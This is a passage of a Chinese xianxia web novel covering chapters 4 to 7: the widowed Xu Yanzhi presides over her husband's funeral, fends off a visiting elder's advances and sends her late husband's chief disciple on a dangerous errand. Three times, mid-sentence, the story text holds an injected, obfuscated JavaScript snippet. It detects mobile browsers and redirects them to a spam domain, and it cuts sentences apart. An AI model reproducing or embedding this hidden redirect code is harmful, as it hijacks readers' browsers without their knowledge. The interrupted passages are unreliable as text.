作为仙家子女,徐宴芝原本生活在远离圣山的溟海旁,在十六岁那年被家主从老家接到了七峰山下,预备参加弟子大选。 只是她刚来到山下便大病一场,错过了当年的大选。 徐家只是小仙家,不论嫡系旁系,一代人中能出一两个仙人已是难得,当然无法给徐宴芝开后门,弟子大选两年一次,错过了只能等到两年后。 既然如此,徐宴芝一是为了养病,二是徐家为了避风头,便在七峰山下深居简出地又住了两年。 她在老家时已经能做到引气入体,虽说天赋一般,但到底有了踏上仙途的资本,对于小仙家而言,家中能多一个外门弟子也是好的——哪怕回来嫁人,也能找个更好的夫婿。 就因为这个意外,让徐宴芝在第二次弟子大选时,遇见了此前从未亲至大选的宇文令。 宇文令此人沉迷修行的程度,在北域宗门历代掌门中也排得上前列,自他成了掌门后,除非双月当空、业鬼肆虐这些必定要掌门出面的大事外,他极少插手门中庶务。 当时他似乎因为询天阁的某个谶言下山了一趟,回来时正巧碰上大选,不知为何,便随意地抬脚踏进了宗门建在山下的大观中。 弟子大选是宗门盛事,只要有办法来试一试,没有人能拒绝一步登仙的诱惑。大选前,候选的弟子与家人们就几乎占领了七峰山下,正式开始时,等待着被挑选的弟子们又挤满了整间大观。 此界仙人认为有灵根者,年幼时即可显现,因此候选弟子们大都是十岁以下的小孩儿。 在乌央乌央的孩童当中,已经十八岁的徐宴芝鹤立鸡群,宇文令甫一踏入大观,一眼就看到了她。 据当时也在场的弟子们后来回想,徐宴芝那时的容貌虽不如现在这般摄人心魄,却也有了绝代佳人的雏形,叫人见之难忘。 她身穿着一件簇新、简朴的蓝色弟子服,不施粉黛,只是没有表情地站着,便引得几乎所有人侧目。 徐宴芝似乎也已经习惯了旁人看过来惊艳的目光,面不改色地任由众人打量,总归只是看一看,极少有人真正敢于上前叨扰。 只是没想到当日出现了那个变数。 在徐宴芝抱着手臂,看着前头出神时,她的身旁忽然安静了下来,那一堆叽叽喳喳片刻不肯停歇的小孩儿们见了鬼般地捂上了嘴。 徐宴芝意识到了不对,她甫一回头,便看到了身后站着的宇文令。 当天,她没有参加第二次弟子大选,而是被宇文令直接带回了太阴峰。 过了一段时间后,再次出现在人前时,徐宴芝已经成了徐夫人。 偏殿中,如今已经成了寡妇的徐夫人独自倚靠在小榻上,自顾自地揉搓着顾青峥递给她的手巾,过了一会儿,又偏着头从门缝中看着灵堂中人来人往。 她此时神色如常,想来已经整理好了思绪,看了一会儿外头后,估摸着时间快到了,徐宴芝坐正了身子,打算起身。 正在此时,顾青峥也在外头轻唤了她一声夫人。 徐宴芝抿了抿嘴,没有回答。 外头那人迟疑了一会儿后推门而入,反手又将门关了个严实。 “夫人,询天阁来人说,一炷香后祭祀便开始。” 见徐宴芝坐得笔直,不像是有事的模样,顾青峥止步在门前,恭敬道。 徐宴芝看着他,应了一声,人却一动未动。 顾青峥也并未催促,只是温和地看着她,轻声唤道。 “夫人——” 丈夫已死的今日,徐宴芝好像失去了她最擅长的忍耐,一句夫人,便让她心中倏地烦躁起来。 在外人面前,他一口一个师娘,十足孝顺的模样,谁不说顾青峥当的好徒儿,连师父的道侣都这样敬重。 但许多时候,他那些温和言语间夹杂着的细小尖刺,也会让徐宴芝不适。 对于这位丈夫的首徒,徐宴芝也曾经下过一番功夫去笼络,毕竟她在北域存身只靠宇文令,并不稳当,若是能与下一任掌门也建立深厚的情谊,总归多了一条路可走。 哪想这位顾家收养的幼子,分明十余岁就入了仙门,入门后第一次弟子大比就被宇文令看中收为亲传弟子,仙途如此顺遂之下,也长了一副拒人千里之外的冰冷心肠。 她始终觉得,顾青峥的面上带着厚厚的面具,面具下是荒芜的黑泥潭。 如同一根看不见的刺,明明知晓它扎在了手心,却怎么也拔不出来,大部分时间里这根刺都没有存在感,只是很偶尔的,也会刺痛她一下。 让她难以忽视。 想到这里,徐宴芝哂笑一声,干脆地站起身来。 她亡夫的好徒儿一动不动地看着她走向自己,并没有要替她开门的意思。 徐宴芝见状,刚想越过他自己推门,顾青峥倏然俯身,凑近在她的耳旁细声道:“好叫您知道,徐广济方才在外头——” 徐宴芝的手停在空中。 “——与张幼琳交谈,方才我过来时,似乎听到他说小舅子……” 徐广济这位徐家嫡子一贯不着调,不过是普通的内门弟子,仗着族姐的势,倒是飘飘然,他说的这些胡话,倒不知要让多少人背地里嘲笑。 顾青峥此时说来,虽然言语中不漏,但他是善意的吗? 徐宴芝瞥了顾青峥一眼,并不接他的话,似笑非笑道:“青峥,可别在你师父的灵前淘气。” 说罢,她侧了侧身,靠得极 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14772532|157851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 近地,从顾青峥身旁走出了偏殿。 此时灵堂中一概事宜也已经准备好了,询天阁长老任重阳站在灵柩前,远远地朝徐宴芝点了点头。 徐宴芝回了一礼,佯做不经意地看向灵堂外。 德政堂前的广场上,弟子们束手而立,神情肃穆,最前排的是各峰长老们的亲传弟子。 徐宴芝的视线越过站得笔直、眉头皱成一团的张幼琳,果然在她身后看到了徐家家主的嫡幼子徐广济,此子面上还留着些许惫懒,似乎全然忘了现下的场合。 “徐夫人,请。” 徐宴芝背后响起了任重阳的提醒声。 她转身应了,连忙走到了自己的位置上。 仙人修仙,求得是长生不老、纵横捭阖。 可细细看来,他们也不过是一群拥有非凡力量的凡人罢了,爱恨嗔痴,不论修为多高的仙人,也无法说自己全然看透了。 “时辰到!” 任重阳高喝一声,手中的法器发出了清脆的鸣响。 当、当、当—— 三声鸣响过后,他开始唱喝悼词——昨日草拟出来,经过了几位长老与徐宴芝的一致通过——询天阁的弟子们也跟着和唱起来。 明明是不大不小的声音,不仅在场、在广场前的仙人们听得一清二楚,七峰山下,往日喧嚣无比,如今一片寂静的城中也听得明白。 端的是大宗气派。 只是,除却仙法外,与凡人的身后事又有何不同呢? 徐宴芝看着亡夫的灵柩,面色沉痛,心中却觉得荒谬极了。 冗长而沉闷的祭典进行了一个上午,到了下午,离得近的散修、小宗仙人已经赶到了天枢峰,预备着在灵前为宇文令上一炷香,吊唁这位一方霸主。 为表示宗门风度,徐宴芝作为宇文令遗孀,与执孝子礼的顾青峥一块儿,不论来者修为,均一一答谢了。 一番忙碌下来,等到最后一位老者离开时,银月已经挂在了天边。 在七位长老也陆续因琐事离开后,徐宴芝终于得以暂时歇一歇。 她坐在偏殿中的小榻上,遥遥地看着灵前端坐着的亲传弟子们为宇文令祈福。 按照惯例,他们要在询天阁弟子的带领下,念上七日颂词。 这并不是轻松的差事,每念一回,都得同时运转一回灵力,极耗精力,寻常的内门弟子都撑不了七日,因此只能落在长老们的亲传弟子身上。 顾青峥自然坐在一众亲传弟子们的最前方 从徐宴芝的角度,只能看得到他的半张脸。 天色已晚,为遵循古礼,灵堂中只点着几根蜡烛,烛光摇晃,他的脸忽明忽暗,一时像和煦君子,一时像深渊业鬼。 像是身体中居住两个截然不同的神魂。 徐宴芝看了一会儿,一股倦意涌了上来,今日她也跟着念诵了许久,消耗了对她而言极大的灵力,此时再难保持清醒。 她撑着头,半梦半醒的倚靠在小榻上。 她的耳边回响着灵堂中传来的低语,重重叠叠的,她却能清晰地分辨出顾青峥的声音。 她难得没有陷入无法自控的梦境。 直到银月照进了偏殿里,恍惚与迷惘之中,徐宴芝忽然感到一道探究的视线扫过她的脸。 她心中一凛,猛地睁开了眼睛。 似乎有谁正站在月光照不到的暗处,静静地看着她。 5. 第五章 见徐宴芝睁开了眼,宇文令的小徒儿,闵道一笑了笑,捧着灵石碗从暗处走了出来,轻声道:“师娘,今日可是忘了这炊玉饮。” 闵道一生着一双圆眼睛,平日看向徐宴芝时总是睁得极圆,像某种长在雪中谨小慎微的野兽。 就如同此时。 徐宴芝坐直了身子,强按下因惊醒而产生的心悸,勉强冲着闵道一笑道:“一日不饮也不碍事。” “总归是吃惯了的。”闵道一说着,捧着碗奉到徐宴芝面前,小心弯下了腰,“刚刚制好,我亲去取来的。” 闵道一与顾青峥不同,他出身北域凡人皇室,锦衣玉食的长大,人也娇气,从前他刚入门时,年纪小,胆子也不大,见徐宴芝待他极亲热,他自然就与师娘亲近,将自己当做小辈,常为师娘端茶倒水。 徐宴芝每日要用的这富含灵力的炊玉饮,闵道一也为她去玉衡峰取过几次。 既然是小徒儿的孝心,徐宴芝也不好拂了他的好意,便伸手将灵石制成的碗接过,轻轻嗅了嗅,抬头一饮而尽。 馥郁的灵力霎时滋养了她的灵海,补充了徐宴芝今日的消耗,让她精神为之一振。 也不知闵道一是何时察觉到的,徐宴芝心中一叹,对他笑道:“多谢你。” “应当做的。”闵道一笑眼弯弯,从徐宴芝手中接过了灵石碗,转身往偏殿外走去。 只是他迈出偏殿时,脚步顿了顿。 徐宴芝隐约听到闵道一轻声唤了一句师兄。 他的背影挡住了徐宴芝的视线,她没能看到外头是闵道一的哪位师兄。 第二日,东边离得近的揽云大泽,遣来的使者已经上了山。 此界四方各有一处灵源,每处灵源属性各不相同,不知何时起,仙人们占据了灵源,建立起四大宗门。 北域七峰奉灵源太阴峰为圣山,其灵力冰冷肃杀。 而今日遣使者来吊唁的揽云大泽,灵源在蒸云泽中,灵力偏温和包容。 既然每处灵源的灵力属性不同,不同宗门的仙人们所修行的仙法也大相径庭,并且若是远离宗门与灵源,天地之间没有充足的灵力支撑释放仙法,仙人们的修为也会跟着下降。 仙人们离开自己宗门灵源所辐射的范围,去到旁的宗门地盘上,因灵力不能适应仙法的缘故,修为会更大幅下降。 若是去到灵力属性与自身修行仙法相克的地方,施法会造成反噬,更甚至会伤及根本。 揽云大泽与北域七峰灵源属性相近,两边仙人交往的更频繁,此次宇文令身殒,他们也来的最快。 来的使者是位长老,姓岳名竺,莫约二百岁。 岳竺虽然年岁不大,但在揽云大泽已经达到了入虚境界,他掌管门中刑罚,颇有威名。 因此见是他亲自上山来,北域七峰也有些惊讶。 虽说揽云大泽与北域七峰灵源属性接近,来往更多,但即便是此界大能,来到其他宗门领地深处,也会使得自己修为大跌。 没有仙人会喜欢这种感觉。 灵堂前,李能意为首,几位长老站在他身后,远远地望着一艘灵舟降落。 一位气度非凡的仙人打头,几位衣着奇异的仙人缓缓朝着他们走来。 气度非凡的自然是岳竺,他上前与几位长老见过礼后,接过三炷香,向着宇文令的画像拜了拜,叹道:“宇文兄,不久前还曾并肩作战,没想到那一别竟是永别了。” 叹完,他走到宇文令灵柩前,将手中香插进香炉,转身探究地看向一旁的徐宴芝。 徐宴芝状如不觉,向岳竺行了一礼。 她身后的顾青峥带着闵道一走上前来。 “岳长老。”顾青峥朝岳竺拱手。 岳竺应了一声,视线依旧看着他身后的徐宴芝,嘴上轻声道:“那一日我分明与他说过,再往南边,浊气愈发浓郁,还是谨慎行事为好,却不知宇文兄有没有听进去,唉……” 顾青峥跟着叹息:“只恨不能为师父分忧。” 二人客套了几句,岳竺话锋一转,左迈一步对徐宴芝道:“想来这位便是传说中的徐夫人了。” 他双眸闪亮,目光灼灼地盯着徐宴芝,轻声道:“我在揽云大泽也听过夫人的名字,如今一见,果然名不虚传。” 所谓仙人,如北域人这般生性古板、遵循凡人古礼的有许多,全然不在意的也有许多。 岳竺方才还装一装,现下混不吝起来,尚在灵堂上,便露出了对宇文令遗孀的觊觎。 徐宴芝索性抬头直视岳竺,展颜道:“我身在太阴峰也曾听过岳长老的威名,上回揽云大泽运来的一船不梦鳞,就是岳长老亲自带弟子去捕获的吧?” 她态度坦荡,岳竺闻言,却缓缓收起了笑。 宗门之间贸易往来是寻常,但那一船不梦鳞,是他背着宗门私下与北域七峰做的买卖,明面上遮掩的极好,徐宴芝从何而知的? 因为身处灵堂,岳竺只能忍下了怀疑,略过不提此事,又与众人寒暄了几句,便随着张幼琳指引前往天枢峰后山休息。 张幼琳是个生性活泼的仙子,这些天为掌门的身后事,憋了一肚子话无人交谈,今日碰上了并不讲究古礼的揽云大泽来客,才能多聊上几句。 岳竺与她谈笑了一会儿门中琐事,倏然转移了话题道:“按照你们门中规矩,也不知北域下一任掌门究竟是谁?” 提及这一点,张幼琳有些别扭起来,含糊道:“离开山门还有许多时间,现在还不清楚呢。” “开山门……”岳竺若有所思地重复道。 张幼琳继续道:“圣山山门五十年可以一开,算算时间也快到了,不是今年就是明年,到时候谁能服众,能得到长老们的认可,便能踏上圣山之巅……” “想来便是如此。”岳竺点点头,“我们那儿的规矩也差不多,百岁以下的年轻弟子被大泽选中,才能成为掌门。” “是这样。” 张幼琳一边说着,一边领着岳竺一行人来到了山后一处幽静的小院,交代院中的小弟子们好好招待贵客。 岳竺漫不经心地挥手让小弟子们先行退下,又问道:“揽云大泽还有一枚通往圣地的密匙,料想贵宗也如此,如今宇文兄殒身,山门密匙又在谁手中呢?” 这一问,让方才还颇有谈兴的张幼琳倏地沉默了下来。 岳竺见状,生出了一个荒谬的念头。 “莫非在徐夫人手中不成?”他吃惊极了,“她竟然哄得宇文兄将手中权柄分了她一半!” 张幼琳没有正面回答,只冲着岳竺拱手道:“岳长老先休息,待到祭典结束,我们长老再邀您详谈。” 岳竺此时已经不在意张幼琳说了些什么,朝她微微颔首,转身后,饶有兴味地笑了起来。 跟他一块上山的亲传弟子见了,凑趣道:“原先师父说要来瞧瞧这徐夫人到底是何模样,如今也是见着了,这样的奇女子正巧没了丈夫,要不您过几天去问问她,可愿意跟您回揽云大泽?” 岳竺大笑起来,伸手将徒儿脑门敲得直响,到底没有反驳。 自岳竺后,其余两大宗门的使者也陆续到了北域七峰,他们离得远,仙法与北 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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——在亡夫的灵柩前。 徐宴芝深吸了一口气,伸手抵在顾青峥的胸前。 她的右手有荧光闪烁,在微光中,僭越的徒儿忘了收起他微颤瞳仁中蕴含的情绪。 徐宴芝看得分明,是憎恶。 他憎恶些什么。 徐宴芝直视着他的眼睛,疲惫一扫而空,她倏然生出了玩乐的兴味。 她缓缓扬起嘴角,看似无力的右手从顾青峥的胸前,轻抚似得往下移了一瞬。 感到手下坚实的躯体微微一颤,徐宴芝笑得更为璀璨,轻轻向前一推。 顾青峥被一股不可抗拒的力量推动着朝后退去。 一声轻响后,他停了下来。 徐宴芝的眼睛已经适应了黑暗,她瞥了一眼垂首不语的顾青峥,漫不经心地挥了挥手。 沉重的大门洞开,银白的月光重新照进了灵堂中。 月光照亮了顾青峥,照得他长而黑的睫毛银白透明,飞蛾似得煽动了几回后,他倚着师父的棺椁,将头慢慢抬起。 他的脸上已经重新带上了温和的面具。 “别再说些逗趣的话了。”徐宴芝言笑晏晏,低头看向了自己的右手,“好徒儿,要我说来,若想要成为掌门,你还应当多受些考验才是。” “您说的是。” 顾青峥鸦睫低垂,半遮如墨的眼眸,温顺地对徐宴芝笑了起来。 6. 第六章 翌日,德政堂重新回到了原来的模样,白色消失,大殿中再无宇文令半点痕迹,连堂中挂着的那副画像也被摘了下来。 若是徐宴芝不去讨要,画像会被放入不见天日的后山库房中,与历代掌门的画像一块儿蜷缩着,等到下任掌门殒身时才能重见片刻天日。 一切都在按部就班地进行着,似乎他们所做的都只是冰冷的步骤,既然已经死了,除了宇文令的遗孀和他两个亲传弟子外,没有谁当真为掌门的离去而伤怀。 办妥了宇文令的身后事,北域七峰彻底将他抛在了脑后,谁能成为下一任掌门,才是当前以及往后一段时间内最重要的事情。 宗门上下被召集,齐聚在德政堂前的大广场,由询天阁长老任重阳宣布了他们这几年对圣山灵力波动的观测结果。 若无意外,半年后,圣山的灵力强度将达到顶点,届时将由徐宴芝打开山门,掌门候选人由此登上太阴峰顶,接受圣山对其的洗礼。 任重阳说罢,朝旁让了一步。 徐宴芝右手闪过荧光,出现众人之前,她看向面对着她的无数弟子们,格外在最前方的亲传弟子们身上多停留了一些时间。 “只有最强者,才有接受洗礼的资格,祝你们好运。” 徐宴芝右手手持掌门密令,那是打开山门的密匙,整个北域,唯有她与圣山保有连接,她即是圣山的代言人。 高耸入云、仿佛捅破了天的太阴峰矗立在她身后,巍峨苍劲,以千万年不化的寒冰俯视着想要逆天而行之人。 在场众人望着她,皆屏住了呼吸。 在场的除却北域弟子们,还有三大宗门使者共同见证,这是他们来到北域的第二个目的。 等到此事也了结,德政堂又焕然一新。 广场上铺上了厚厚的白狼毛地毯,不知哪儿变出了十张长桌,长桌上诸多北域七峰特产的灵物变成了食物,琳琅满目、香气馥郁。 又过了一会儿,连极品雪林草酿做的美酒也出现在桌上,小弟子们纷纷上前,为众仙人将酒杯倒满。 北域的另一面,教外域来的仙人们有些吃惊起来。 天枢峰顶开始了盛大的宴会,用以安抚远道而来的客人,前些日子里他们不得不遵循沉闷的古礼,如今北域也该尽地主之谊。 雪林酒乃此界顶级佳酿,一杯下了肚,哪怕是岳竺也红了耳朵尖,他畅快笑道:“好酒!这样好的酒,竟然只有北域才有,我一定要向贵宗采买一些带回去,否则家中的师兄师姐们一定是要责怪我的!” 他们这些外域来客,自然与北域长老们坐在一处,开阳峰专门负责宗门经营的长老吕敏之听了此话,笑不拢嘴,立即转身问周云子道:“云子,岳长老的话你可听见了,咱们今年新收了多少雪林草?” 周云子只爱种地不爱交际,本来神游在外,不防在宴席上忽然被提问,一时捧着酒杯愣住了。 她瞪大了眼睛看着吕敏之,教吕敏之的笑容也僵在脸上。 “这些年圣山灵力日渐浓郁,因此山上多种炊玉花,雪林草的产量少了许多,今年一共下了十斗,一半酿成了酒。” 坐在上首的徐宴芝见状轻轻一笑,隔着李能意与周云子,探首对吕敏之道。 吕敏之闻言咬了咬唇,谢过徐宴芝后,遗憾转头与岳竺道:“岳长老也听到了。” 自徐宴芝开口后,微醺的岳竺注意力便全放在了她身上,含糊地应了一声后,伸手又倒了满杯酒,对徐宴芝遥遥举杯道:“徐夫人倒是清楚这些庶务。” 徐宴芝笑而不语,端起酒杯敬了他,又侧身与身旁的李能意说着什么。 岳竺瞧在眼中,身上似有万只蚂蚁在爬,仅剩的一丝理智逼迫他收起了邪念,他松松垮垮地回头继续与吕敏之谈话,说着这回揽云大泽要与北域做哪些买卖。 长老们这边到底修为高深些,酒过三巡,人人最多微醺,两边长桌上坐着的弟子们却没有这样好的酒量,到了晚上,天上开始下雪时,已经有许多弟子失了态,吵吵闹闹地鬼叫起来,惹得大家都伸头去看。 今日既然各桌都上了好酒,长老们早已料到了,抱了睁一只眼闭一只眼的念头,只当没听到,随他们去,嚷得几句,旁的弟子们也就上去捂了他们的嘴了。 只是有一位醉酒的弟子不仅嚷得极大声,还不让身旁同门近身,尖锐的声音不住地往众人耳朵里钻。 “我实在瞧不出徐宴芝强在哪儿,原先在家里时修为不如我,长得也一般,谁知道外头人都瞎了眼般,竟将她吹成什么北域第一美人了……” 徐宴芝的族弟徐广济,一杯接一杯,把自己喝了个大醉,嘴上没把门地开始胡吣。 他身旁的弟子们吓得脸煞白,几个人一齐动手将这孙子揪住,强行往他嘴里塞了几颗麒麟果,好险把这张破嘴给堵上了。 徐广济这桌的弟子们心有余悸地捂着胸口,齐齐探头去打量徐宴芝的脸色,见她并不像恼了,还朝前来敬酒的顾青峥与闵道一露了笑,这才放下心来。 “广济这双眼睛真是,若是无用,不如让玉衡峰的给练成丹药得了。” “是在家中瞧多了吗?这才觉着徐夫人是寻常长相?” 弟子们嘴里絮絮叨叨的,你一句我一句,一块儿嫌弃上了徐广济的眼光,直到闹得他又要叫嚷起来,这才一块儿闭了嘴,专心看管这大傻子。 这样难得的盛事,一直到了半夜里,众仙人们才醉醺醺地散了场。 徐宴芝喝到后来也有些醉了,脸上一抹绯红,琥珀色的眼眸融化成了糖稀,教人看上一眼能甜倒了牙。 闵道一在前头开道,顾青峥守在她身旁,不时虚虚地扶她一把,不教她失了体面。 三人正往灵舟走去,预备着回太阴峰去,消了酒的徐广济匆匆从后头追了上来。 “姐姐。”他被同门强行往嘴里塞了好几颗麒麟果,酸的天灵盖都通了,哪还有醉态,望向徐宴芝的神情恭谨多了,“不知何时有空,母亲思念你,请你回去一趟。” 徐广济正色起来,看着还有点人样,徐宴芝搭着顾青峥的胳膊站稳了身子,回头漫不经心地说道:“看情况,近日来都忙得很。” 说完,也不待徐广济回答,晃晃悠悠地转过身继续朝前走去。 两个徒儿将徐宴芝扶上了灵舟,她把自己往后一靠,捂着头陷入了沉默。 闵道一旧伤未愈,今日滴酒未沾,自诩清醒,便去开船。 也喝了不少酒的顾青峥则与徐宴芝一块儿坐在后头,倚在另一头舷窗旁,阖上了双眼。 灵舟离开了天枢峰上的大阵,朝着更高处的太阴峰飞去,失去了结界庇护后,船体在寒风与暴雪中轻轻发着抖,让体弱的乘船人几欲作呕。 越接近太阴,灵舟便抖动得越厉害。 徐宴芝放下了手,迷茫地看向舷窗外满天的风雪,忽然开口道:“画像呢。” 闵道一闻言,连忙回头道:“师父的画像在我这儿呢,您放心,没丢。” 徐宴芝意味不明的应了声,灵舟中又陷入了沉默。 顾青峥今日似乎格外寡言,只默默听着船里其余两人有一搭没一搭的说话,一直到灵舟落了地,他才伸出手,开口对徐宴芝道:“当心。” 徐宴芝便在搀扶下走向太阴殿的后院,半路上,闵道一说要去给她炮制一盏炊玉饮,先往太阴殿中的药房去了,只留下顾青峥带着她往里头走。 后院的小道修得弯弯曲曲就罢了,地上也是高一块矮一块,一时又要拾阶而上,一时又要走过花丛中的小径。 徐宴芝这些日子没有好好修炼,醉了后身子发虚,跨过一扇月亮门时,被门槛绊了一下,踉跄着往前几步,摔进了顾青峥的怀里。 “看着脚下。”顾青峥半揽着她,有力的双手牢牢握住了她的腰肢,教她脚虽不沾地,却仍旧直立着。 徐宴芝看向了那双毫无波澜的漆黑眼眸。 顾青峥也低头看着她,他明明没有表情,冷冰如同七峰山顶的冰雪,可因为饮了酒,他们呼出的气息却滚烫地、暧昧地交织在了一起。 他们两人,在月光下留下了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14772534|157851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个倒影。 徐宴芝先收回了视线,她短促地笑了一声,喃喃道:“多谢。” 她用手抵着顾青峥的胸膛,慢慢地站稳了。 顾青峥也放开了双手,退了一步,与她保持着守礼的距离。 后头跟着的几个小弟子见徐宴芝无事,两人又极快地分开来,一同将头低下,继续默默地跟在后头。 徐宴芝站稳了脚步,继续往里走,她并未前往宇文令生前居住的院子,而是绕了一圈,来到了属于她的那间小小的厢房前。 徐宴芝推开了门,回身倚在门边,对站在檐下的顾青峥道:“对了,方才在宴上,吕敏之跟岳竺谈成了一桩生意。” “您说。” “你知道的,再过不久,南边,靠近无尽之崖那座旧城附近,那朵五百年的盏室花要结果了,这事原本就该你去,最近大家都忙,竟然忘了。” 徐宴芝一边说,眼中的醉意一边消散,说到最后,她神色清醒地补充道:“那朵花本就是你发现的,交给你去采摘,你没有意见吧?” 她一副漫不经心的模样,仿佛是交代顾青峥去院中将那些恼人的寒来花拔干净一般轻松,全然没有提及他们与岳竺谈了什么生意,那朵活了五百年的花长在什么地方,当它结果时,会引来什么存在的觊觎。 顾青峥一时没有说话。 小院外头远远地传来了闵道一咋咋呼呼地奔跑声,他端着灵石碗出现在气氛有些怪异的两人面前,迟钝地冲徐宴芝笑道:“刚刚制好的炊玉饮,还是热乎的,您快些喝了!” 徐宴芝低头一看,只见灵石碗上还冒着热气。 她接过一饮而尽,对闵道一笑道:“有心了。” 闵道一摇摇头,又不知从何处掏出了一卷画卷,递给徐宴芝道:“这是师父的画像。” 三人的视线都看向了那副画。 闵道一小心翼翼地捧着画卷,交给了神色复杂的徐宴芝,轻声道:“师娘莫要太多伤心,若是师父知晓了,也会难过的。” 徐宴芝没有回答,盯着画卷看一会儿,方才恍然抬头,对两个徒儿道:“好了,都快些回去吧,明日还有明日的事情,早些歇息。” 天真的小徒儿应了,拉着师兄要走,第一下却没有拉动。 他疑惑地抬头看向顾青峥。 不待闵道一说话,顾青峥收回了视线,自顾自地往来处走去。 徐宴芝一直目送他们离开小院,方才进了屋。 进屋后,她翻出一只香来,点燃插进了香炉中,直到浓烈呛人的味道弥漫了整间屋子,徐宴芝才缓缓坐在桌旁,将宇文令的画像摊在案上。 这个已经死去的男子,修为盖世,又是一方霸主,从来自傲,不论在何处,眉眼间都含着淡淡的桀骜之意,留在画中的模样也不例外。 徐宴芝挑着眉,盯着画中的宇文令看了一会儿,忽然嗤笑了一声,抬手将画卷合上,塞进了箱笼深处,与她不常用的七零八碎放在了一处。 就这么一会儿,屋子里的香气愈发呛人,徐宴芝随手将香灭了,又起身打开了窗,想要散一散味儿。 她坐在贵妃榻上,一手撑在窗台上,一手托腮,望着院中简单几丛花草出了神。 方才在宴上,岳竺假借敬酒,凑在徐宴芝耳旁,用仙法传音道:“有件事,既然宇文兄已经殒身,我原本不打算再提,撞上那样可怕的业鬼潮,又离开圣山千里之遥,终归是命数,但上了七峰后,我见夫人刚强洒脱,倒是想将这件事说与夫人听。” “宇文兄失踪那晚,我曾见过他。” “那时揽云大泽与北域七峰的仙人们都驻扎在一块儿,半夜时,我瞧见宇文兄双眼无神地往南边,往那座被业鬼吞噬的旧城方向去了,这一去,就没再回来。” 徐宴芝的这间小院,并没有如何精心料理,院中乱糟糟的花丛中零星开着几朵小小的白色的寒来花,贱兮兮的争抢着名贵灵植们的养分,苟活在北域之巅。 娇艳动人的女子在窗后看着它们,慢慢勾起嘴角,绽放出明媚的笑。 7. 第七章 那晚徐宴芝吩咐过顾青峥后,没过几日,德政堂正式下了弟子令,令顾青峥带上几位内门弟子一同前往旧城附近,等待那朵五百岁的盏室花结果后,第一时间采摘下来。 这枚果实,牵涉到北域七峰与揽云大泽谈好的一桩生意。 张幼琳将弟子令交到顾青峥手中时,面上还带着一丝同情,叹道:“又是在旧城附近,又离无尽之崖那样近,听说盏室花结的果不仅能引来厉害的灵兽,还有可能吸引到业鬼,师兄此行可要小心行事。” 说罢,她忍不住冲顾青峥笑了一笑。 是了,同情归同情,可张幼琳未满百岁,既是长老亲传弟子,修为也到了成元境,若是顾青峥此行出了意外,她就能成为下一任掌门的有力竞争者。 这笑,也还是要笑的。 顾青峥只做不觉,语气温和道:“无事,那株花本是我发现的,应该我去摘果。” 这话说来平常,只是细品后,张幼琳笑不太出来了。 入门时间相仿,又同是亲传弟子,顾青峥已经能去到远离圣山的地方寻宝,而张幼琳这些年却一直留在山上为门中庶务忙碌,虽然一天也不曾落下修行,但到底没有如何实战过。 人与人之间的差距真大。 张幼琳摸了摸鼻子,讪讪转移话题道:“听说玉衡峰新制了一些丹药,新药效果好,师兄去领一些备着吧。” 顾青峥笑了笑,也不说去是不去,摆摆手与有些尴尬的张幼琳道别后,负手往殿外走去。 甫一走出大门,便瞧见了一个人,正缩在角落中,将脖子抻地长长的,眼睛瞪大了,期期艾艾地看向他。 顾青峥脚步顿了顿,对那男子温和道:“徐师弟,可是有事寻我?” 徐广济闻言,立即朝他扬起了笑脸,小步靠近后,低声对顾青峥道:“顾师兄,上回我对姐姐说话时,你也在,姐姐她也没给我个准信,我想让你帮我问一问……” 他开始重复着母亲思念姐姐,想要与她相聚这些话,顾青峥听在耳中,有些走神。 非常时候,徐家想要徐宴芝回一趟家,当然不是因为主母思念她。 七峰山下这些蝇营狗苟的小仙家,此时都削尖了头往山上钻,想要听到些内幕消息,提前做决断,从下一任掌门上位这件事中获得一些好处。 但这些都不应该被他拿到面上来说。 徐广济为了家事特特来天枢峰上等人,实在有些上不得台面,在宇文令死之前,他绝不会做出这样的举动。 顾青峥礼貌地听完了徐广济翻来覆去的那些话,答应他回太阴峰时,将这些话转达给徐宴芝。 徐广济果然松了一口气般笑了起来,乐道:“多谢顾师兄,我就知道你一定会帮忙的,你可是个大好人。” 他得了顾青峥的一个笑。 要做下山的准备,顾青峥正是忙碌的时候,两人并没有再多交流,各自往相反的方向去了。 身穿月白长袍、腰系古拙长剑的仙人,乘上了回太阴的灵舟。 自从拜入宇文令门下后,顾青峥便一直居住在太阴峰上。 一开始,他分到了太阴殿前的一间小院,每日与院中几从灵植相对,只在固定的日子里,去往摇光峰上,与众弟子们一块儿学习仙法。 顾青峥似乎并没有从掌门首徒这个身份上得到过多好处。 他的师父醉心修行,莫约小半年才会想起来他来,想起来时,会将他唤过去问问功课,指点一番。 等到他修为小有所成了,宇文令才渐渐看见他,一些需要下山的庶务,都交由顾青峥代替。 仙人远离灵源,修为会跌落,山下那些差事顾青峥完成地很艰难,说来并不算是师父的体恤。 